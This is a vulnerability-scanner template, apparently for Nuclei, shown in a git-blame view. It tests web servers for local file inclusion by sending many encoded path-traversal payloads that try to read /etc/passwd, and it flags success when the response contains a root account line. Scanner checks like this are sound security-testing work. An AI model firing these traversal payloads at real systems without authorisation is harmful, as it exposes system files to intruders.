2021-08-07 17:32:17 +00:00
|
|
|
id: generic-linux-lfi
|
|
|
|
|
2020-10-20 15:47:25 +00:00
|
|
|
info:
|
2021-08-07 17:32:17 +00:00
|
|
|
name: Generic Linux based LFI Test
|
2021-09-18 19:13:32 +00:00
|
|
|
author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley
|
2020-10-20 15:47:25 +00:00
|
|
|
severity: high
|
2021-08-07 17:34:27 +00:00
|
|
|
description: Searches for /etc/passwd on passed URLs
|
2021-08-11 07:38:00 +00:00
|
|
|
tags: linux,lfi,generic
|
2020-10-20 15:47:25 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-04-18 19:20:54 +00:00
|
|
|
- "{{BaseURL}}/etc/passwd"
|
2021-08-07 17:32:17 +00:00
|
|
|
- "{{BaseURL}}/..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/static/..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/./../../../../../../../../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2eetc/passwd"
|
|
|
|
- "{{BaseURL}}/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd"
|
|
|
|
- "{{BaseURL}}/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd"
|
|
|
|
- "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
|
|
|
|
- "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"
|
2021-09-18 19:13:32 +00:00
|
|
|
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
|
2021-09-20 18:23:49 +00:00
|
|
|
|
2021-09-02 11:59:10 +00:00
|
|
|
stop-at-first-match: true
|
2020-10-20 15:47:25 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
2021-09-18 19:13:32 +00:00
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-10-20 15:47:25 +00:00
|
|
|
part: body
|